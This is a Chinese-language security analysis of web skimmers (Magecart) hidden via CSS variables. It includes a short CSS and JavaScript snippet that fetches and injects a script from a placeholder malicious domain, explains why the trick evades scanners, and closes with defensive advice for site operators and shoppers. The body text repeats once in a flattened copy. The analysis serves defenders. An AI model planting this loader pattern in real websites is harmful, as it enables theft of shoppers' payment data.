隐藏在网站CSS中的窃密脚本
字数 1294 2025-08-15 21:33:08

隐藏在CSS中的Web Skimmer攻击技术分析

1. Web Skimmer概述

Web Skimmer(也称为Magecart脚本)是一种专门用于窃取在线支付信息(如信用卡数据)的恶意代码。攻击者通过各种方式将这些脚本植入电子商务网站,以窃取用户在结账页面输入的敏感信息。

2. CSS文件作为攻击载体

传统上,Web Skimmer通常隐藏在以下位置:

  • 网站Logo
  • 缩略图标
  • 内部图像
  • 实时聊天窗口
  • 社交媒体分享按钮
  • 热门JavaScript库

新发现:攻击者开始利用CSS文件作为Web Skimmer的隐藏载体。

3. CSS文件特性

CSS(层叠样式表)文件用于定义网页元素的样式,包含:

  • 颜色定义
  • 文本大小设置
  • 元素间距和填充
  • 字体设置

现代CSS已发展出强大功能:

  • 支持创建复杂动画
  • 引入CSS变量功能(可存储需要复用的内容)

4. 攻击技术细节

4.1 攻击流程

  1. 获取访问权限:攻击者首先获得目标在线商店的访问权限
  2. 修改文件:同时修改网站的CSS和JavaScript文件
  3. CSS变量注入:在CSS文件中添加存储恶意URL的CSS变量
  4. JavaScript调用:通过看似无害的JavaScript代码调用CSS变量中的URL

4.2 技术实现

CSS部分

:root {
    --malicious-url: "https://malicious-domain.com/skimmer.js";
}

JavaScript部分

var style = getComputedStyle(document.documentElement);
var skimmerUrl = style.getPropertyValue('--malicious-url').trim();
var script = document.createElement('script');
script.src = skimmerUrl;
document.head.appendChild(script);

4.3 规避检测机制

这种技术能有效规避安全检测的原因:

  1. 扫描范围限制:大多数安全工具只扫描JavaScript代码,忽略CSS文件
  2. 静态分析局限:安全工具通常只进行静态代码分析,不实际执行JavaScript
  3. 动态加载:恶意代码是运行时动态加载的,不在初始扫描范围内
  4. 避免干扰:这种技术不会影响网站正常功能(如购物车、分析平台)

5. 攻击实例分析

SanSec公司发现的实例特征:

  • 包含标准键盘记录功能
  • 基础设施自2020年9月已开始运作
  • 之前已进行过十多次传统攻击
  • CSS文件可能是攻击者测试新技术的实验

6. 服务器端Skimming

值得注意的是:

  • 65%的Skimming攻击发生在服务器端
  • 恶意代码隐藏在:
    • 数据库
    • PHP代码
    • Linux系统进程
  • 这些攻击在客户端无法直接观察到

7. 防御建议

7.1 对网站运营者的建议

  1. 全面安全扫描

    • 不仅扫描JavaScript,也要扫描CSS文件
    • 实施动态代码分析而不仅是静态扫描
  2. 文件完整性监控

    • 监控核心CSS和JS文件的变更
    • 实施版本控制和变更审计
  3. 服务器安全

    • 加强服务器访问控制
    • 定期检查数据库和系统进程

7.2 对消费者的保护措施

  1. 使用虚拟支付卡

    • 一次性使用的虚拟卡
    • 设置固定金额和有限有效期
  2. 浏览器安全扩展

    • 使用可检测异常脚本行为的浏览器扩展
  3. 警惕异常行为

    • 注意结账页面的异常加载项
    • 检查网站安全证书

8. 总结

这种利用CSS变量隐藏Web Skimmer的技术代表了攻击方法的演进,展示了攻击者如何利用现代Web技术的新特性绕过安全检测。虽然技术新颖,但实际威胁与传统的服务器端Skimming相比仍较小。防御需要从客户端和服务器端同时入手,采用多层次的安全策略。

隐藏在CSS中的Web Skimmer攻击技术分析 1. Web Skimmer概述 Web Skimmer(也称为Magecart脚本)是一种专门用于窃取在线支付信息(如信用卡数据)的恶意代码。攻击者通过各种方式将这些脚本植入电子商务网站,以窃取用户在结账页面输入的敏感信息。 2. CSS文件作为攻击载体 传统上,Web Skimmer通常隐藏在以下位置: 网站Logo 缩略图标 内部图像 实时聊天窗口 社交媒体分享按钮 热门JavaScript库 新发现 :攻击者开始利用CSS文件作为Web Skimmer的隐藏载体。 3. CSS文件特性 CSS(层叠样式表)文件用于定义网页元素的样式,包含: 颜色定义 文本大小设置 元素间距和填充 字体设置 现代CSS已发展出强大功能: 支持创建复杂动画 引入CSS变量功能(可存储需要复用的内容) 4. 攻击技术细节 4.1 攻击流程 获取访问权限 :攻击者首先获得目标在线商店的访问权限 修改文件 :同时修改网站的CSS和JavaScript文件 CSS变量注入 :在CSS文件中添加存储恶意URL的CSS变量 JavaScript调用 :通过看似无害的JavaScript代码调用CSS变量中的URL 4.2 技术实现 CSS部分 : JavaScript部分 : 4.3 规避检测机制 这种技术能有效规避安全检测的原因: 扫描范围限制 :大多数安全工具只扫描JavaScript代码,忽略CSS文件 静态分析局限 :安全工具通常只进行静态代码分析,不实际执行JavaScript 动态加载 :恶意代码是运行时动态加载的,不在初始扫描范围内 避免干扰 :这种技术不会影响网站正常功能(如购物车、分析平台) 5. 攻击实例分析 SanSec公司发现的实例特征: 包含标准键盘记录功能 基础设施自2020年9月已开始运作 之前已进行过十多次传统攻击 CSS文件可能是攻击者测试新技术的实验 6. 服务器端Skimming 值得注意的是: 65%的Skimming攻击发生在服务器端 恶意代码隐藏在: 数据库 PHP代码 Linux系统进程 这些攻击在客户端无法直接观察到 7. 防御建议 7.1 对网站运营者的建议 全面安全扫描 : 不仅扫描JavaScript,也要扫描CSS文件 实施动态代码分析而不仅是静态扫描 文件完整性监控 : 监控核心CSS和JS文件的变更 实施版本控制和变更审计 服务器安全 : 加强服务器访问控制 定期检查数据库和系统进程 7.2 对消费者的保护措施 使用虚拟支付卡 : 一次性使用的虚拟卡 设置固定金额和有限有效期 浏览器安全扩展 : 使用可检测异常脚本行为的浏览器扩展 警惕异常行为 : 注意结账页面的异常加载项 检查网站安全证书 8. 总结 这种利用CSS变量隐藏Web Skimmer的技术代表了攻击方法的演进,展示了攻击者如何利用现代Web技术的新特性绕过安全检测。虽然技术新颖,但实际威胁与传统的服务器端Skimming相比仍较小。防御需要从客户端和服务器端同时入手,采用多层次的安全策略。